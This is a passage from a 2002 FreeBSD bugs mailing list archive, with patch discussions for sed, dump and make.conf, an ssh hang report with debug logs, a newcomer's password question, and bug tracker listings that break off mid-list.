Peter Pentchev Cc: Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) In-Reply-To: <200203031910.g23JA1u35963@freefall.freebsd.org> Message-ID: <20020305011227.E1276-100000@gamplex.bde.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sun, 3 Mar 2002, Peter Pentchev wrote: > The following reply was made to PR bin/35505; it has been noted by GNATS. > > From: Peter Pentchev > To: "Matthew D.Fuller" > Cc: FreeBSD-gnats-submit@freebsd.org > Subject: Re: bin/35505: [PATCH] Feature enhancement for sed(1) > Date: Sun, 3 Mar 2002 21:05:05 +0200 > > On Sun, Mar 03, 2002 at 12:27:40AM -0600, Matthew D.Fuller wrote: > >=20 > > >Number: 35505 > > >Category: bin > > >Synopsis: [PATCH] Feature enhancement for sed(1) > > >Originator: Matthew D. Fuller > [snip] > > >Fix: > [patch snipped] > > I think that something like the attached would befit style(9) more. > Other than a few style nits, your patch looks great, and the functionality > is something that I really do like :) > > Now let us see how this goes down with the src committers.. The functionality is already provided in a better way by the -E flag. I agree with the gnu standard which says: ! Please don't make the behavior of a utility depend on the name used to ! invoke it. It is useful sometimes to make a link to a utility with a ! different name, and that should not change what it does. ! ! Instead, use a run time option or a compilation switch or both to ! select among the alternate behaviors. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 7:10:32 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 6987A37B402 for ; Mon, 4 Mar 2002 07:10:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24FA1U39965; Mon, 4 Mar 2002 07:10:01 -0800 (PST) (envelope-from gnats) Received: from cyclone.tornadogroup.com (cyclone.tornadogroup.com [212.172.155.83]) by hub.freebsd.org (Postfix) with ESMTP id 3AC7337B400 for ; Mon, 4 Mar 2002 07:01:27 -0800 (PST) Received: from claudette.e1.tornadogroup.com (root@claudette.e1.tornadogroup.com [192.168.0.77]) by cyclone.tornadogroup.com (8.10.0.Beta10/8.10.0.Beta10) with ESMTP id g24F1Lw29411 for ; Mon, 4 Mar 2002 15:01:21 GMT Received: (from matthew@localhost) by claudette.e1.tornadogroup.com (8.11.6/8.11.6) id g24F1J324503; Mon, 4 Mar 2002 15:01:19 GMT (envelope-from matthew) Message-Id: <200203041501.g24F1J324503@claudette.e1.tornadogroup.com> Date: Mon, 4 Mar 2002 15:01:19 GMT From: Matthew Seaman Reply-To: Matthew Seaman To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35538: ssh can hang waiting for EOF on stdin Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35538 >Category: bin >Synopsis: ssh can hang waiting for EOF on stdin >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Mar 04 07:10:00 PST 2002 >Closed-Date: >Last-Modified: >Originator: Matthew Seaman >Release: FreeBSD 4.5-STABLE i386 >Organization: Tornado Group plc >Environment: System: FreeBSD claudette.e1.tornadogroup.com 4.5-STABLE FreeBSD 4.5-STABLE #8: Thu Feb 28 15:25:36 GMT 2002 matthew@claudette.e1.tornadogroup.com:/usr/obj/usr/src/sys/CLAUDETTE i386 OpenSSH: SSH-2.0-OpenSSH_2.9 FreeBSD localisations 20011202 >Description: Piping STDIN into ssh connected to a remote Solaris server running OpenSSH-3.0.2p1 seems to fail to notice EOF and so hangs with an open connection indefinitely. This only seems to affect an OpenSSH 2.9 client on FreeBSD connecting to an OpenSSH 3.0.2p1 server on Solaris 8. Doesn't affect FreeBSD -> FreeBSD copies, Solaris -> FreeBSD copies. Unfortunately, I don't have any other Unix flavours available to test other combinations. Work-around is to install the security/openssh port and use the client side of that on FreeBSD. >How-To-Repeat: claudette:~:% cat ~/.tcshrc | /usr/bin/ssh -v bonnie "cat > /tmp/foo" OpenSSH_2.9 FreeBSD localisations 20011202, SSH protocols 1.5/2.0, OpenSSL 0x0090601f debug1: Reading configuration data /home/matthew/.ssh/config debug1: Applying options for * debug1: Reading configuration data /etc/ssh/ssh_config debug1: Applying options for * debug1: Rhosts Authentication disabled, originating port will not be trusted. debug1: restore_uid debug1: ssh_connect: getuid 1001 geteuid 1001 anon 1 debug1: Connecting to bonnie.e1.tornadogroup.com [192.168.0.4] port 22. debug1: temporarily_use_uid: 1001/1001 (e=1001) debug1: restore_uid debug1: temporarily_use_uid: 1001/1001 (e=1001) debug1: restore_uid debug1: Connection established. debug1: identity file /home/matthew/.ssh/id_rsa type 1 debug1: identity file /home/matthew/.ssh/id_dsa type 2 debug1: Remote protocol version 1.99, remote software version OpenSSH_3.0.2p1 debug1: match: OpenSSH_3.0.2p1 pat ^OpenSSH Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_2.9 FreeBSD localisations 20011202 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-cbc hmac-md5 none debug1: kex: client->server aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: dh_gen_key: priv key bits set: 128/256 debug1: bits set: 1577/3191 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host 'bonnie.e1.tornadogroup.com' is known and matches the RSA host key. debug1: Found key in /home/matthew/.ssh/known_hosts2:57 debug1: bits set: 1586/3191 debug1: ssh_rsa_verify: signature correct debug1: kex_derive_keys debug1: newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: waiting for SSH2_MSG_NEWKEYS debug1: newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: done: ssh_kex2. debug1: send SSH2_MSG_SERVICE_REQUEST debug1: service_accept: ssh-userauth debug1: got SSH2_MSG_SERVICE_ACCEPT debug1: authentications that can continue: publickey,password,keyboard-interactive debug1: next auth method to try is publickey debug1: userauth_pubkey_agent: testing agent key /home/matthew/.ssh/id_rsa debug1: input_userauth_pk_ok: pkalg ssh-rsa blen 149 lastkey 0x808b4a0 hint -1 debug1: ssh-userauth2 successful: method publickey debug1: fd 4 setting O_NONBLOCK debug1: channel 0: new [client-session] debug1: channel_new: 0 debug1: send channel open 0 debug1: Entering interactive session. debug1: client_init id 0 arg 0 debug1: Requesting X11 forwarding with authentication spoofing. debug1: Requesting authentication agent forwarding. debug1: Sending command: cat > /tmp/foo debug1: channel 0: open confirm rwindow 0 rmax 16384 debug1: channel 0: read<=0 rfd 4 len 0 debug1: channel 0: read failed debug1: channel 0: input open -> drain debug1: channel 0: close_read debug1: channel 0: input: no drain shortcut debug1: channel 0: ibuf empty debug1: channel 0: input drain -> closed debug1: channel 0: send eof debug1: channel 0: rcvd eof debug1: channel 0: output open -> drain debug1: channel 0: obuf empty debug1: channel 0: output drain -> closed debug1: channel 0: close_write debug1: channel 0: send close debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: channel 0: rcvd close debug1: channel 0: is dead debug1: channel_free: channel 0: status: The following connections are open: #0 client-session (t4 r0 i8/0 o128/0 fd -1/-1) debug1: channel_free: channel 0: dettaching channel user ^CKilled by signal 2. debug1: Calling cleanup 0x805f450(0x0) debug1: Calling cleanup 0x805971c(0x0) >Fix: Workaround: install ../ports/security/openssh (OpenSSH 3.0.2) and use client programs from there: # cd /usr/ports/security/openssh # make install # cd /usr/local/etc/rc.d # mv sshd.sh sshd.sh-not-used # cd /usr/local/etc # cp /etc/ssh/ssh-host-*key* . Then we get: claudette:~:% cat ~/.tcshrc | /usr/local/bin/ssh -v bonnie "cat > /tmp/foo" OpenSSH_3.0.2, SSH protocols 1.5/2.0, OpenSSL 0x0090601f debug1: Reading configuration data /home/matthew/.ssh/config debug1: Applying options for * debug1: Reading configuration data /usr/local/etc/ssh_config debug1: Rhosts Authentication disabled, originating port will not be trusted. debug1: restore_uid debug1: ssh_connect: getuid 1001 geteuid 1001 anon 1 debug1: Connecting to bonnie [192.168.0.4] port 22. debug1: temporarily_use_uid: 1001/1001 (e=1001) debug1: restore_uid debug1: temporarily_use_uid: 1001/1001 (e=1001) debug1: restore_uid debug1: Connection established. debug1: identity file /home/matthew/.ssh/id_rsa type 1 debug1: Remote protocol version 1.99, remote software version OpenSSH_3.0.2p1 debug1: match: OpenSSH_3.0.2p1 pat ^OpenSSH Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_3.0.2 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-cbc hmac-md5 none debug1: kex: client->server aes128-cbc hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: dh_gen_key: priv key bits set: 121/256 debug1: bits set: 1589/3191 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Host 'bonnie' is known and matches the RSA host key. debug1: Found key in /home/matthew/.ssh/known_hosts:48 debug1: bits set: 1587/3191 debug1: ssh_rsa_verify: signature correct debug1: kex_derive_keys debug1: newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: waiting for SSH2_MSG_NEWKEYS debug1: newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: done: ssh_kex2. debug1: send SSH2_MSG_SERVICE_REQUEST debug1: service_accept: ssh-userauth debug1: got SSH2_MSG_SERVICE_ACCEPT debug1: authentications that can continue: publickey,password,keyboard-interactive debug1: next auth method to try is publickey debug1: userauth_pubkey_agent: testing agent key /home/matthew/.ssh/id_rsa debug1: input_userauth_pk_ok: pkalg ssh-rsa blen 149 lastkey 0x808b4b0 hint -1 debug1: ssh-userauth2 successful: method publickey debug1: fd 4 setting O_NONBLOCK debug1: channel 0: new [client-session] debug1: send channel open 0 debug1: Entering interactive session. debug1: ssh_session2_setup: id 0 debug1: Requesting X11 forwarding with authentication spoofing. debug1: Requesting authentication agent forwarding. debug1: Sending command: cat > /tmp/foo debug1: channel 0: open confirm rwindow 0 rmax 16384 debug1: channel 0: read<=0 rfd 4 len 0 debug1: channel 0: read failed debug1: channel 0: input open -> drain debug1: channel 0: close_read debug1: channel 0: ibuf empty debug1: channel 0: input drain -> closed debug1: channel 0: send eof debug1: channel 0: rcvd eof debug1: channel 0: output open -> drain debug1: channel 0: obuf empty debug1: channel 0: output drain -> closed debug1: channel 0: close_write debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: channel 0: rcvd close debug1: channel 0: almost dead debug1: channel 0: gc: notify user debug1: channel 0: gc: user detached debug1: channel 0: send close debug1: channel 0: is dead debug1: channel 0: garbage collecting debug1: channel_free: channel 0: client-session, nchannels 1 debug1: fd 0 clearing O_NONBLOCK debug1: Transferred: stdin 0, stdout 0, stderr 0 bytes in 0.1 seconds debug1: Bytes per second: stdin 0.0, stdout 0.0, stderr 0.0 debug1: Exit status 0 >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 9:32:44 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 5FF4637B400; Mon, 4 Mar 2002 09:32:43 -0800 (PST) Received: (from cjc@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24HSHX37833; Mon, 4 Mar 2002 09:28:17 -0800 (PST) (envelope-from cjc) Date: Mon, 4 Mar 2002 09:28:17 -0800 (PST) From: Message-Id: <200203041728.g24HSHX37833@freefall.freebsd.org> To: cjc@FreeBSD.org, freebsd-bugs@FreeBSD.org, brian@FreeBSD.org Subject: Re: bin/35531: user-ppp handles long line names inconsistently Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: user-ppp handles long line names inconsistently Responsible-Changed-From-To: freebsd-bugs->brian Responsible-Changed-By: cjc Responsible-Changed-When: Mon Mar 4 09:26:52 PST 2002 Responsible-Changed-Why: Over to maintainer. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35531 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 9:40:12 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 4FA5637B405 for ; Mon, 4 Mar 2002 09:40:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24He3x39561; Mon, 4 Mar 2002 09:40:03 -0800 (PST) (envelope-from gnats) Date: Mon, 4 Mar 2002 09:40:03 -0800 (PST) Message-Id: <200203041740.g24He3x39561@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Sandeep Kumar Subject: Re: bin/35214: dump program hangs while exiting Reply-To: Sandeep Kumar Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR bin/35214; it has been noted by GNATS. From: Sandeep Kumar To: freebsd-gnats-submit@FreeBSD.org, skumar@juniper.net Cc: Subject: Re: bin/35214: dump program hangs while exiting Date: Mon, 04 Mar 2002 09:30:39 -0800 Replacing setjmp/pause/longjmp with sigprocmask/sigsuspend fixes the problem. Here is the diff for tape.c Index: tape.c =================================================================== RCS file: /cvs/junos-2001/src/sbin/dump/tape.c,v retrieving revision 1.1.1.4 retrieving revision 1.2 diff -r1.1.1.4 -r1.2 60d59 < #include 124,127d122 < static int ready; /* have we reached the lock point without having */ < /* received the SIGUSR2 signal from the prev slave? */ < static jmp_buf jmpbuf; /* where to jump to if we are ready when the */ < /* SIGUSR2 arrives from the previous slave */ 682,684d676 < < if (ready) < longjmp(jmpbuf, 1); 757a750,755 > sigset_t sigusr2_mask, omask; > > /* Create a mask with SIGUSR2 */ > sigemptyset(&sigusr2_mask); > sigaddset(&sigusr2_mask, SIGUSR2); > 792,797c790,792 < if (setjmp(jmpbuf) == 0) { < ready = 1; < if (!caught) < (void) pause(); < } < ready = 0; --- > sigprocmask(SIG_BLOCK, &sigusr2_mask, &omask); /*Mask SIGUSR2*/; > if (!caught) > (void) sigsuspend(&omask); /* wait for SIGUSR2 */ 798a794 > sigprocmask(SIG_SETMASK, &omask, NULL); /* Set the old mask */ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 9:57: 4 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 09FB237B41B for ; Mon, 4 Mar 2002 09:56:40 -0800 (PST) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 4 Mar 2002 17:56:33 +0000 (GMT) Date: Mon, 4 Mar 2002 17:56:30 +0000 From: David Malone To: Sandeep Kumar Cc: freebsd-bugs@FreeBSD.org Subject: Re: bin/35214: dump program hangs while exiting Message-ID: <20020304175630.GA8939@walton.maths.tcd.ie> References: <200203041740.g24He3x39561@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200203041740.g24He3x39561@freefall.freebsd.org> User-Agent: Mutt/1.3.25i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, Mar 04, 2002 at 09:40:03AM -0800, Sandeep Kumar wrote: > Here is the diff for tape.c Could you submit a unified diff please? (with diff -u) David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 10:18:46 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from web12401.mail.yahoo.com (web12401.mail.yahoo.com [216.136.173.128]) by hub.freebsd.org (Postfix) with SMTP id 84F6A37B400 for ; Mon, 4 Mar 2002 10:18:44 -0800 (PST) Message-ID: <20020304181844.1536.qmail@web12401.mail.yahoo.com> Received: from [204.38.23.199] by web12401.mail.yahoo.com via HTTP; Mon, 04 Mar 2002 10:18:44 PST Date: Mon, 4 Mar 2002 10:18:44 -0800 (PST) From: Franken Beans Subject: Password Problem To: freebsd-bugs@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org I just installed FreeBSD and as I was setting up the user accounts something strange happened. When it asked me to put in a password for the root it wouldn't input any number (or for that matter any button on my keyboard except for Enter). So when I finally got around that problem, without ever inputing a password, and booted it up it wouldn't let me login because I couldn't input a password. It was as though my keyboard was unplugged. I reinstalled it and set up an additional account and yet again i couldn't onput a password for either root or my other account. My keyboard functions properly anywhere else except for the password input line. What can I do? __________________________________________________ Do You Yahoo!? Yahoo! Sports - sign up for Fantasy Baseball http://sports.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 10:27:13 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from straylight.ringlet.net (discworld.nanolink.com [217.75.135.248]) by hub.freebsd.org (Postfix) with SMTP id C284237B400 for ; Mon, 4 Mar 2002 10:27:05 -0800 (PST) Received: (qmail 27509 invoked by uid 1000); 4 Mar 2002 18:27:22 -0000 Date: Mon, 4 Mar 2002 20:27:22 +0200 From: Peter Pentchev To: Franken Beans Cc: freebsd-bugs@FreeBSD.ORG Subject: Re: Password Problem Message-ID: <20020304202722.C1633@straylight.oblivion.bg> Mail-Followup-To: Franken Beans , freebsd-bugs@FreeBSD.ORG References: <20020304181844.1536.qmail@web12401.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Bu8it7iiRSEf40bY" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020304181844.1536.qmail@web12401.mail.yahoo.com>; from franken_beans2000@yahoo.com on Mon, Mar 04, 2002 at 10:18:44AM -0800 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --Bu8it7iiRSEf40bY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Mar 04, 2002 at 10:18:44AM -0800, Franken Beans wrote: > I just installed FreeBSD and as I was setting up the > user accounts something strange happened. When it > asked me to put in a password for the root it wouldn't > input any number (or for that matter any button on my > keyboard except for Enter). So when I finally got > around that problem, without ever inputing a password, > and booted it up it wouldn't let me login because I > couldn't input a password. It was as though my > keyboard was unplugged. I reinstalled it and set up an > additional account and yet again i couldn't onput a > password for either root or my other account. My > keyboard functions properly anywhere else except for > the password input line. What can I do? When the system prompts you to enter a password, it does not display any of the characters you type in. You have to enter the password "blindly", which makes it secure - no one can see it if they are looking over your shoulder. This is exactly why you are prompted to enter the password twice when setting it - to ensure that you enter the same string both times and thus avoid any typos and accidentally pressed keys. So, you just have to enter the desired password, trusting your fingers to type what you mean to type :) Then enter it again, and either enter the same, or make the same mistakes, so the system sees the same string. That is all :) G'luck, Peter --=20 Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 What would this sentence be like if pi were 3? --Bu8it7iiRSEf40bY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjyDvIoACgkQ7Ri2jRYZRVMNOACfbW0KuteVTbXI99+w+AV44I4J Ba8AnRkCcN1cFOsDyAD00QCSE9YgXCg1 =lwJA -----END PGP SIGNATURE----- --Bu8it7iiRSEf40bY-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 10:50: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 8E94F37B416 for ; Mon, 4 Mar 2002 10:50:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24Io1A53508; Mon, 4 Mar 2002 10:50:01 -0800 (PST) (envelope-from gnats) Received: from hand.dotat.at (host217-35-46-127.in-addr.btopenworld.com [217.35.46.127]) by hub.freebsd.org (Postfix) with ESMTP id C5E0137B400 for ; Mon, 4 Mar 2002 10:40:39 -0800 (PST) Received: from fanf by hand.dotat.at with local (Exim 3.35 #1) id 16hxNW-0006mb-00; Mon, 04 Mar 2002 18:40:06 +0000 Message-Id: Date: Mon, 04 Mar 2002 18:40:06 +0000 From: Tony Finch Reply-To: Tony Finch To: FreeBSD-gnats-submit@freebsd.org Cc: Tony Finch X-Send-Pr-Version: 3.113 Subject: misc/35542: BDECFLAGS needs -U__STRICT_ANSI__ Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35542 >Category: misc >Synopsis: BDECFLAGS needs -U__STRICT_ANSI__ >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Mon Mar 04 10:50:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Tony Finch >Release: FreeBSD 4.5-STABLE-20020220 i386 >Organization: dotat labs >Environment: System: FreeBSD hand.dotat.at 4.5-STABLE-20020220 FreeBSD 4.5-STABLE-20020220 #15: Wed Feb 20 07:46:52 GMT 2002 fanf@hand.dotat.at:/FreeBSD/obj/FreeBSD/releng4/sys/SHARP i386 >Description: In environments where the system headers are aware of the compilation environment that the program desires, using gcc -ansi may disable all the Unix definitions, which is rather unhelpful for flag settings intended for Unix programs. >How-To-Repeat: Try compiling with $BDECFLAGS a program that uses functions like asprintf(). On Linux (for example) this fails because asprintf() is in the C standard. >Fix: Index: make.conf =================================================================== RCS file: /home/ncvs/src/share/examples/etc/make.conf,v retrieving revision 1.179 diff -u -r1.179 make.conf --- make.conf 17 Feb 2002 22:10:05 -0000 1.179 +++ make.conf 4 Mar 2002 18:31:41 -0000 @@ -55,8 +55,8 @@ # putting "CFLAGS+=${BDECFLAGS}" in /etc/make.conf. -Wconversion is not # included here due to compiler bugs, eg: mkdir()'s mode_t argument. # -#BDECFLAGS= -W -Wall -ansi -pedantic -Wbad-function-cast -Wcast-align \ -# -Wcast-qual -Wchar-subscripts -Winline \ +#BDECFLAGS= -ansi -U__STRICT_ANSI__ -pedantic -W -Wall -Wbad-function-cast \ +# -Wcast-align -Wcast-qual -Wchar-subscripts -Winline \ # -Wmissing-prototypes -Wnested-externs -Wpointer-arith \ # -Wredundant-decls -Wshadow -Wstrict-prototypes -Wwrite-strings # >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 11: 0:36 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 73E8437B433 for ; Mon, 4 Mar 2002 11:00:19 -0800 (PST) Received: (from peter@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24J0JQ55315 for freebsd-bugs@freebsd.org; Mon, 4 Mar 2002 11:00:19 -0800 (PST) (envelope-from owner-bugmaster@freebsd.org) Date: Mon, 4 Mar 2002 11:00:19 -0800 (PST) Message-Id: <200203041900.g24J0JQ55315@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Subject: open PR's (mis)filed to gnats-admin and in limbo Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Current FreeBSD problem reports Critical problems Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [2002/02/25] pending/35307gnats-admin o [2002/02/27] pending/35397gnats-adminRe: sysutils/lsof: update to 4.61 o [2002/02/27] pending/35398gnats-adminRe:%20conf/35371:%20%2Fetc%2Frc%20virecov o [2002/02/28] pending/35402gnats-adminRe: New Port: news/newscache 0.99.19 o [2002/02/28] pending/35441gnats-adminRe: sysutils/portupgrade: portsclean does o [2002/02/28] pending/35443gnats-adminRe: sysutils/portupgrade: portsclean does 6 problems total. Non-critical problems To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Mar 4 11: 7:23 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id CE86337B41E for ; Mon, 4 Mar 2002 11:00:30 -0800 (PST) Received: (from peter@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g24J0Q655335 for freebsd-bugs@freebsd.org; Mon, 4 Mar 2002 11:00:26 -0800 (PST) (envelope-from owner-bugmaster@freebsd.org) Date: Mon, 4 Mar 2002 11:00:26 -0800 (PST) Message-Id: <200203041900.g24J0Q655335@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: FreeBSD bugs list Subject: Current problem reports Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Current FreeBSD problem reports The following is a listing of current problems submitted by FreeBSD users. These represent problem reports covering all versions including experimental development code and obsolete releases. Bugs can be in one of several states: o - open A problem report has been submitted, no sanity checking performed. a - analyzed The report has been examined by a team member and evaluated. f - feedback The problem has been solved, and the originator has been given a patch or a fix has been committed. The PR remains in this state pending a response from the originator. s - suspended The problem is not being worked on. This is a prime candidate for somebody who is looking for a project to do. If the problem cannot be solved at all, it will be closed, rather than suspended. c - closed A problem report is closed when any changes have been integrated, documented, and tested. Critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- f [1998/05/13] kern/6630 phk [PATCH] Fix for Cyrix I8254 bug o [1998/07/12] kern/7264 gibbs Buslogic BT 950 scsi card not detected o [1998/11/25] kern/8861 mdodd under heavy (multi interface) traffic ep0 f [1999/02/20] kern/10172 [panics] Kernel (esp kern/sys_pipe.c) die o [1999/05/31] kern/11966 ru TCP copies send and receive socket buffer s [1999/06/05] kern/12041 n_hibma Crashes on startup if Zip drive is switch f [1999/06/25] kern/12395 gibbs Buslogic SCSI cards (BT948) time out unde o [1999/07/13] alpha/12623 alpha Certain valid numeric strings cause a SIG o [1999/08/10] i386/13059 imp Install aborts with panic:aha0: Invalid C f [1999/09/12] kern/13709 panic: sched_sync: fsync failed o [1999/10/30] kern/14614 dillon VM DoS attack (with exploit attached) f [1999/11/22] i386/15040 Installation problems with 3.x FreeBSD f [1999/12/05] kern/15281 Please fix handling Ross(?) host to PCI b o [2000/01/17] misc/16157 green "fire" screensave kills network performan o [2000/02/14] kern/16708 wpaul 3Com 3c900-Combo Ehternet card make kerne o [2000/02/18] i386/16802 An user math program have the system on K o [2000/03/15] i386/17391 jhb FreeBSD boot loader does not recognize ke o [2000/03/27] kern/17620 jhay Digi/570i sync driver (if_ar.c) causes sy f [2000/03/28] alpha/17642 alpha FreeBSD/alpha 4.0 RELEASE installation fa a [2000/04/28] misc/18286 mikeh mailx, which is part of Unix 98, does not o [2000/05/09] misc/18466 dillon install via nfs or ftp media silently tru s [2000/05/17] misc/18641 paul FreeBSD V4.0 crashes when using ifconfig f [2000/05/29] kern/18874 peter 32bit NFS servers export wrong negative v o [2000/06/13] kern/19247 jasone uthread_sigaction.c does not do anything o [2000/06/14] misc/19257 Detection of connected ports on a Cyclom o [2000/07/01] conf/19629 dougb /etc/rc.sysctl can't set all syctls s [2000/07/05] kern/19722 rwatson FreeBSD box responds to broadcast IP o [2000/07/12] gnu/19882 obrien ld does not detect all undefined symbols! o [2000/07/30] 